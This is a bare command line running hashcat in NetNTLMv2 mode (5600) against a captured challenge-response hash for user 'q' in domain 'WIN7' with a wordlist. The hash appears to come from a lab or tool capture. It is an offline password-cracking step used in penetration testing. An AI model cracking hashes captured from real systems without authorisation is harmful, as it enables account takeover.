hashcat -m 5600 q::WIN7:524fa9048b91226c:A78B9944E2BCB793E02A78511A370527:01010000000000009AA13A40DDD9D60164D36B5FEDF5E086000000000200060053004D0042000100160053004D0042002D0054004F004F004C004B00490054000400120073006D0062002E006C006F00630061006C000300280073006500720076006500720032003000300033002E0073006D0062002E006C006F00630061006C000500120073006D0062002E006C006F00630061006C000800300030000000000000000100000000200000EBE62023381C3BC8F579B7C0DC4B836449D20887CC0365A21217FB41FBB0F3040A001000000000000000000000000000000000000900180048005400540050002F0031002E0031002E0031002E0035000000000000000000 p.txt